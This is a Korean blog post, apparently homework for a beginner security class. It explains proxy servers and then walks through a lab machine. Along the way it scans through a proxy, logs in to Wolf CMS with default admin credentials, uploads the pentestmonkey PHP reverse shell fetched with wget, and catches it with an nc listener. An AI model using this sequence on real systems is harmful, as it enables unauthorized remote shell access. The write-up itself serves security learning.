2023. 8. 22. 18:46ㆍnormaltic 비기너 클래스 1기/과제
Proxy 서버
프록시 서버는 클라이언트에서 서버로 접속 혹은 요청할 때 또는 반대의 경우에 중간에서 대신 전달해 주는 중간자 역할을 하는 서버를 뜻한다.
절차는 다음과 같다.
- 클라이언트에서 프록시 서버에 요청을 한다.
- 프록시 서버는 클라이언트에서 받은 요청을 서버에 요청한다.
- 서버는 프록시 서버에서 받은 요청에 대한 응답을 프록시 서버에 전달한다.
- 프록시 서버는 서버로부터 전달받은 응답을 클라이언트에게 전달한다.
Challenge 문제
공격 대상의 IP 주소는 10.10.44.181인 것을 확인할 수 있다.
nmap -sCV 10.10.44.181
nmap -sCV 10.10.44.181 -Pn
공격 대상 포트 스캔을 진행했더니 아무런 결과도 나오지 않아서 -Pn 옵션을 사용하였다. 그러자 포트 스캔 결과가 출력되었고 프록시 서버를 사용한다는 것을 확인할 수 있었다.
프록시 설정 후 공격 대상의 IP 주소 입력했더니 성공적으로 접속하였다. 해당 웹페이지에서는 'BLEHHH!!!' 텍스트 말고는 아무런 정보를 획득할 수 없었다.
dirb http://10.10.44.181 -p http://10.10.44.181:3128
nikto -h http://10.10.44.181 -useproxy http://10.10.44.181:3128
그래서 dirb 명령어를 사용해서 웹 디렉터리 스캔과 nikto 명령어를 사용해서 웹 서버에 대한 취약점을 스캔하였다. 웹 디렉터리 스캔 결과에 'robots.txt'가 존재하는 걸 확인하고 브라우저에 입력했다.
웹 디렉터리 스캔에는 스캔 되지 않았던 /wolfcms 디렉터리가 존재하는 걸 확인 후에 브라우저에 입력하였더니 웹 페이지가 존재하는 걸 확인할 수 있었다. 웹 페이지를 살펴보았지만 Wolf CMS의 버전에 대한 정보를 얻지 못하였다.
searchsploit Wolf CMS > exploit_list
cat exploit_list
searchsploit 명령어를 사용해서 Wolf CMS의 모든 버전에 해당하는 취약점을 나열하였다. 공격 대상의 버전에 대한 정보가 없기 때문에 최상단에 Wolf CMS - Arbitrary File Upload / Execution 에 주목하기로 하였다. Arbitrary File Upload는 임의 파일 업로드 취약점으로서 이 취약점을 이용하여 리버스 쉘을 업로드하여 공격 대상의 쉘을 획득할 수 있다.
find / -name '38000.txt' 2> /dev/null
cat /usr/share/exploitdb/exploits/php/webapps/38000.txt
최상단 라인의 텍스트 파일을 find 명령어로 찾고 cat 명령어를 사용해서 내용을 출력했다.
텍스트 파일의 내용에서 Wolf CMS 서비스에 임의 파일을 업로드하는 방법을 확인할 수 있었다. B)에 명시된 사이트로 접속 후에 임의의 파일(여기서는 리버스 쉘)을 업로드한다. 그리고 D)에 명시된 경로로 업로드한 파일을 실행할 수 있다고 한다.
http://10.10.44.181/wolfcms/?/admin/login를 주소창에 입력했더니 로그인 페이지가 나타났다. 밑져야 본전으로 Username : admin, Password : admin을 입력했더니 로그인을 할 수 있었다. 너무 쉽게 들어가지다 보니 비밀번호가 admin이 아니라 다른 비밀번호를 입력해도 들어가지나 테스트해봤더니 접속할 수 없었다. Files 탭에서 파일을 업로드하도록 하자.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O webshell.php
wget 명령어를 사용하여 php 리버스 쉘 파일을 'webshell.php' 이름으로 바꾸어 저장하였다.
cp ~/Challenge/webshell.php /home/kali/webshell.php
webshell.php 파일의 내용에서 바꿔줘야할 내용들이 존재하는데. 빨간 줄로 밑줄 친 'ip' 라인에는 공격자의 IP 주소를 적어줘야 하고 port에는 열어놓을 port 번호를 적어서 파일을 업로드해야 한다. 수정된 파일을 /home/kali에 'webshell.php'파일로 복사하였다.
nc -nlvp 7777
리버스 쉘 파일을 업로드 후 nc 명령어를 사용하여 7777번 포트를 열어 대기하였다. 그리고 주소창에http://10.10.44.181/wolfcms/public/webshell.php를 입력하여 리버스 쉘 파일을 실행시켰더니 공격 대상의 쉘을 획득할 수 있었다.
'normaltic 비기너 클래스 1기 > 과제' 카테고리의 다른 글
[normaltic 비기너 클래스 1기] 2023-08-16 Skill Course 2주차 과제 Task 5 (0) | 2023.09.27 |
---|---|
[normaltic 비기너 클래스 1기] 2023-08-16 Skill Course 2주차 과제 Task 4 (0) | 2023.09.27 |
[normaltic 비기너 클래스 1기] 2023-08-16 Skill Course 2주차 과제 Task 3 (0) | 2023.09.12 |
[normaltic 비기너 클래스 1기] 2023-08-02 4주차 과제 (0) | 2023.08.09 |
[normaltic 비기너 클래스 1기] 2023-07-12 1주차 과제 (0) | 2023.07.13 |